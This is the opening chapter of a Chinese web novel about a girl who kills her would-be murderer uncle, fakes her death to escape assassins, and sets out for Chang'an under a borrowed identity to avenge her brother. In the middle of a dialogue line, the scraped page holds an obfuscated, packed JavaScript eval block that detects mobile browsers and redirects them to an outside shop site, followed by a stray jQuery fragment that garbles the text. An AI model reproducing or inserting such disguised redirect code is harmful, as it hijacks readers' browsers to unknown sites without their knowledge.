文趣网 > 其他小说 > 欺骗阴湿世子后 > 1. 新生
    阴风怒号,暴雨如泼,山洪骤涨,街巷萧索,一片死寂冷清。

    巷尾瓦屋,少女浑身泛凉,唇齿打颤,眸光死死盯着倒在地上的男人,同样,男人阴翳地眼神也死死钉在少女身上,粗糙手掌攥紧她的脚踝,叫她半步也逃脱不开。

    殷红鲜血顺着眉骨蜿蜒淌下,糊住半只眼,仍挡不住男人眼底的贪婪与恶意。

    他阴恻恻地开口道:“阿稚啊,你也别怪你叔父,叔父辛苦半辈子,是时候享福了,如今拿你一条命,换叔父家一世富贵,也算你孝顺。”

    话一落下,男人身子猛地扑来,伸手欲扼住她的脖颈。

    少女慌忙抬臂去挡,脖颈拼命往后仰,身子连连踉跄后退。

    挣扎间,后背不受控地狠狠撞在墙角老旧木柜上,顶部置放的小竹篮轰然落地,零碎杂物四散滚落,一把铜剪倏地赫然入目。

    她心念骤定,猛地蹲身攥住剪刀,趁男人猝不及防,利刃直刺颈间,男人吃痛连连后退,下意识捂住冒血的脖颈。

    “你怎么敢……”

    然而,少女并不打算给他逃离的机会,她步步逼近,扬手将剪刀高高举起。

    一下!

    两下!

    三下!

    少女连刺数下,鲜血喷洒,溅得她满脸赤红。

    男人脖颈处破出血淋淋的伤口,喉间溢出含糊凄厉的嗬嗬声,手背上皮肉外翻,血色模糊。

    他身形一晃,重重栽倒在地,那双泛黄浑浊的眼珠微微偏斜,死死望向少女,眼底残存的戾气一点点散尽,只剩不甘与惶恐。

    死了!

    她杀人了!

    顿时,少女如同浑身泄力般跌倒在地,颤抖地抚上自己颈间灼热的勒痕。

    是他该死!

    假若不是叔父说特意来送阿兄捎的信,她压根就不会放他进屋,甚至不会给他一进屋便用白布勒住她脖颈的机会。

    如若不是自己拼命反抗,用铁钳敲中他额头,恐怕自己那时就已经死了。

    突然间!

    门外传来声响,脚步杂沓,声声渐近。

    来者不少,且步履匆匆,像是知道她家会发生大事。

    她暗道一声“不好”,随即迅速打开后窗跳出去,在墙角蹲下,听着里面的动静。

    她听见有人推开木门,大喊道:“崔五死了,阿稚跑了!”

    “别慌,长安来的那几位大人就在附近,她跑不了!”

    崔宝缘心底倏然一震,是村长的声音!

    长安来的大人?

    莫非是阿兄出事了?

    不可能,阿兄是大官,怎么会出事!

    骤然,崔宝缘心口一紧。屋檐雨声簌簌之外,似乎还伴随着瓦片细微松动,像是习武之人刻意放轻的脚步声。

    她向上抬头,只见,几个高大身影立在屋檐上,目光森寒的凝视自己。

    不好!

    刹那间,她和刀剑同时行动,身子快速前扑,险险避开头顶直刺而下的锋刃。

    她丝毫没有回头,而是果断寻找出路,借着对周遭环境的熟悉,一路亡命狂奔。

    今天自己必须冷静,否则慌乱只有死。

    她从未碰到过如此严峻危险的情况,就算被人欺凌,心底的求生欲也不曾像今天这般强烈。

    街巷中,少女身影在疯狂穿梭逃窜,如同过街老鼠般被人追赶。

    他们紧追不舍,速度极快,任崔宝缘借着地形如何躲藏,始终无法成功甩开他们。

    风雨之下,崔宝缘身形清瘦,双眼紧盯前路,脚步迟缓,一步步往后退,身后便是湍急河岸。

    退至码头河岸旁,身子缓缓贴住阑干,稍有不慎,便会失足坠河,被洪水卷走。

    没路了。

    退无可退,她迅速握起阑干旁的柴刀,朝着前方胡乱挥劈,身形紧绷,似有同归于尽之势。

    “谁派你们来的?”少女嗓音颤抖,却强装镇定厉声道。

    她身前围立着五六人,个个身形魁梧,面色凶悍,手中皆提着利刃,戾气森森。

    为首者迈步向前,他右眼覆着一道刀疤,皮肉翻敛,面目狰狞可怖。

    “你兄长崔伯玉贪赃枉法,徇私舞弊,已依律伏诛,死的时候,身上可没一块好肉呢。”

    “你胡说!!!"

    崔宝缘攒眉,双眸含怒,字字铿锵。

    “我阿兄风骨清正,心怀坦荡,绝不会行小人之事!官府又怎会处罚我阿兄?!"

    独眼者面带嘲讽,冷冷开口道:“信不信都已不重要了,你身为其妹,自当连坐伏诛。”

    崔宝缘道:“若要论罪连坐,自有官差依法缉拿,岂容你们私自动刑,擅杀无辜?”

    骤然,那人面色一变,提刀迅速靠近,凶煞之气扑面而来。

    他们都是训练有序,武功高强的杀手。

    若是交手,她全无胜算。

    不抵抗,更是必死无疑。

    可她不能死,她还要见阿兄,什么贪赃枉法,徇私舞弊,依法伏诛,她都不相信!

    官府是不会误会一个好人的!

    自己必须活下去,等阿兄来接她去长安过日子。

    崔宝缘抬手,身形一转,柴刀在她苍白的脖颈上,划出一道血痕,登时鲜血淋漓,模样凄厉骇人。

    她身子一软,无力栽倒,直直坠入河水之中。

    河水湍急,来势汹汹。

    顷刻间,便将少女身影尽数卷去,不见踪影。

    岸板上,几人探头朝翻涌的河水望去。

    岸板之下,崔宝缘一只手紧紧抓着粗绳,另一只手用力抠进岸板木缝,将大半身子的重量全都卸在岸板下,以免粗绳支撑不住而断裂,自己则被洪水冲走。

    粗绳是船夫用来栓船靠岸的船缆,平日都置于岸板上。

    多亏这次河水汹涌,将它冲进水里意外救了自己一命。

    虽然,这些都在崔宝缘的计划之中。

    可她也不敢保证自己能用钝刀假意自刎之后,在坠江的瞬间,迅速抓住船缆,借力游到岸板下,隐藏身形。

    今日这运气也不知算好算坏。

    来不及侥幸,头顶的脚步声仍在提醒她。

    那群人还没走。

    因此她又死死撑了许久,屏息敛气,不敢发出半丝声响,任凭江水冰冷刺骨,颈间伤口泛白,双臂酸软。

    岸板之上,其中一人道:"阿稚已死,纵使坠江侥幸存活,自刎重伤下,也断无活路。"

    随即众人收剑入鞘,翻身上马离去。

    良久,直到确认那伙人真的离开了,崔宝缘才借着船缆慢慢挪身,拼尽最后一丝力气爬上岸。

    她欲起身,没料想身子一软,浑身力气皆已用尽,再也支撑不住,如同被衣裳上带着的洪水压垮,登时倾倒在地。

    素衣紧贴身躯,散乱的发丝黏在苍白脸颊上,她眼皮发沉,耳畔一片轰鸣,洪水拍打岸边的声响渐渐远去。

    感觉自己好重,好累。

    昏死后的刹那,她耳边响起一阵空灵悠然的声音。

    “你阿兄死了。”

    “你不想知道你阿兄怎么死的吗?”

    “你不想为他报仇吗?”

    下一瞬,崔宝缘胸口极速起伏,猛地瞪大双眼,慌乱环顾四周,惊觉自己正悬空站在湖面之上,湖水清澈透亮却望不到底,周遭雾色沉沉,白茫茫一片。

    "你是谁?你到底想说什么?"她喊道。

    无人现身。

    但有一道女声,自浓雾里缥缈传来,在她耳畔轻轻回响。

    “我叫阿黎,不是邪物,只是一缕幽魂,一年前意外与你阿兄结成魂契,而你阿兄已在一个月前遇害,我也是才知晓,当时正值我虚弱之际,陷入沉睡,待我醒来时,见到的便是他的残魂。死前遭受不公或怀有执念的人,在死后会以魂魄形态存世,他眼窝空洞,喉间皮肉焦烂,有眼无眸,有口无声,手脚经脉俱断,在你身旁安静飘荡,他虽无声,但我能猜到,他应是想陪伴在你身边,守护你,大概这也是支撑他残魂不散的执念了。”

    “什么!”

    崔宝缘怔住,登时浑身瘫软跌地,哀恸欲绝,泪水越涌越急,顺着两颊滑落,失声痛哭。

    如果当年阿兄捎信说自己中榜,要回来接她去长安之时,她没有害怕会拖累他,而是死皮赖脸要他回来。

    阿兄是不是就不会死。

    倏地,崔宝缘像想起了什么,语声骤然急促:“我怀里有阿兄新捎来的书信,里头定有说明。”

    她伸手在衣襟里反复摸索,却始终也寻不到那封书信。

    “不用找了,信在河里浸泡太久,已然作废。”

    崔宝缘的心一下子跌落谷底。

    半响过去,她强忍悲痛,声音发颤:“那我还能看见我阿兄吗?”

    “等你阿兄残魂稳固后,你自可在随身携带的桃木手串中看见他。”

    手串?

    她垂头急忙撩开袖口,露出素净雅致的桃木手串。

    木色偏浅红棕色,颗颗饱满,打磨得光滑莹润。

    这是阿兄离开前亲手所做,也是他亲自为她戴上的,说是能护她平安。

    崔宝缘道了声"谢",目光一沉,“那我该如何为我阿兄报仇?”

    “你阿兄初入长安时,寄居慈恩寺备考春闱,文采斐然,品貌端凝,被不少入寺上香的达官显贵看好,有意拉拢,时常拿他与自家同场考生相较,也正因如此,惹得勋贵子弟嫉妒,于是你阿兄被他们视作眼中钉,屡屡寻衅,刻意欺压。”

    “是他们杀了阿兄?”崔宝缘抬眸望向那浓雾

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887176|212589||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    “不是,这里头牵扯众多,远远没有这么简单。”

    “但是阿兄被人污蔑,被人肆意残杀,含冤而死,官府都不管不顾。他们害怕得罪权贵,害怕幞头不保,他们也是罪人!”

    阿黎没再开口,任凭崔宝缘独自发泄情绪。

    直到崔宝缘说出:“我要为阿兄报仇,我要杀了他们!”

    “我可以帮你,你以我义妹的身份,前往长安孟府借住。孟府是我生前所居之地,虽不如权倾朝野的世家高门,但也算有头有脸,往来皆是城中名流,你可暗中查探令兄遇害真相。”

    她话音一顿,继而缓缓开口道:“义妹是个孤儿,无名无姓,唯有小字唤作青青。她与我是私下结交,年纪轻轻,便嫁与自小相伴的少年,一同隐居山林。那郎君患有心疾,婚后不幸亡故,不久后,她也殉了情,是我亲自为其下葬,她的死仅我可知。你若要借她身份,便是孀妇,世间女子多艰辛,你孤身一人……”

    “我不怕,只要能为阿兄报仇!”崔宝缘道。

    "也罢,你前往长安前,去一趟襄州吧,那里住着我的乳母,有她在身边,旁人才会相信你的身份,也能帮衬你一二。"

    “不过我助你,不单是念着与令兄往日情分,更是另有一事想请你相助。我心底藏着一桩执念,我知它存在,且与孟家有关,但无法记起一毫,你阿兄出现意外,无法帮我实现,我恳求请你帮我查清,助我化解,但若太过棘手,你只需尽力而为便好。”

    “好,我必倾心相助。”崔宝缘道。

    若非阿黎告知,她定全然不知阿兄在长安受尽欺凌,甚至惨遭戕害。

    “前路迢迢,风雨难料,往后步步皆凶险,只愿你此行安然,万事顺遂。"

    耳畔温柔絮语越说越轻,悠悠渺渺,一点点飘远,渐渐微弱,直至寂然无声。

    梦境层层褪去,意识慢慢归拢。

    她蹙了蹙眉,在朦胧光影中睁开了眼。

    骤雨已停,云开日出,阳光透过树叶,在她身上洒下斑驳光影。

    崔宝缘微微晃神,指尖下意识抚上脖颈,触到那仍隐隐渗血的伤口。

    她凄然一笑。

    未来的路,有阿兄陪着她,她一点都不怕。

    从此刻起,她不再是碧溪县的阿稚,而是孤女青青。

    时值十月中。

    暮色天凉,晚风簌簌,桂花绽放淡淡的清幽花香,随着人们经过,而轻轻萦绕沾满衣袖。

    街道中立着一位妙龄少女,她身着粗麻窄袖短衫,下摆处沾染泥土,就连她的大半张脸也糊着泥污,眉目轮廓皆被遮掩,唯独一双美眸澄澈灿亮,格外醒目动人。

    从扬州到襄州,水路两千里,又陆行七十里。

    崔宝缘足足花了两月。

    在她乘船驶到襄州临界时,阿黎娘子便已托梦将一切告知了萍嬷嬷。

    萍嬷嬷性情温厚沉稳,守口如瓶,将是崔宝缘在长安唯一信任的人。

    但此刻天色渐暗,临近宵禁。

    凡犯夜者,轻则笞二十,重则当场射杀。

    看来今日是寻不到萍嬷嬷了,她得赶紧找个地方歇着,度过今夜。

    可惜客栈太贵,她一路行来,大都睡寺庙或废弃农屋,此时身在襄阳城,米珠薪桂,更是捉襟见肘。

    崔宝缘顺着长街前行,四处张望,见哪里灯火少,身子就往哪里钻。

    半个时辰左右,她拐进一条幽深小巷,在最尽头处寻得一荒弃屋舍。

    院落土墙低矮残破,多处已然倾颓坍塌,荒草肆意丛生,满目萧瑟寥落。

    不过只是外面看起来破而已,里面的屋子风吹不着,雨打不到的。

    “挺好!”

    崔宝缘浅笑一声,她并未急着进屋,而是在院子里拾了些枯枝。

    秋天的晚上,还是带着几分寒意,支个火堆会好受些。

    但不知为何,走动中竟发现院里有几处杂草沾染血迹。

    不对。

    这里应是荒废数十年了,周遭也不见寻常屋舍,平日定无人来往。

    思来想去,只能是猫狗争斗留下的血迹,她还是别疑神疑鬼了。

    拾够枯枝后,她穿过荒园,径直朝堂屋走去。

    堂屋木门之上蛛网缠绕,缕缕蛛丝随风飘荡,窗纸更是破败不堪,皆是大大小小破孔,冷风穿洞而入。

    方才离得远没看清,这窗户纸竟都是破的。

    幸好自己拾了柴。

    崔宝缘轻轻一推,朽旧木门吱呀一声缓缓敞开,屋内景象也徐徐映入眼帘,寻常家什东倒西歪,木凳倾翻在地,地上散落着几盏残破瓷碗,一片狼藉。

    她眸光四处打量,扫过一处角落时,心头骤然一紧,瞬间头皮发麻,冷汗直冒。

    这里不止她一个人。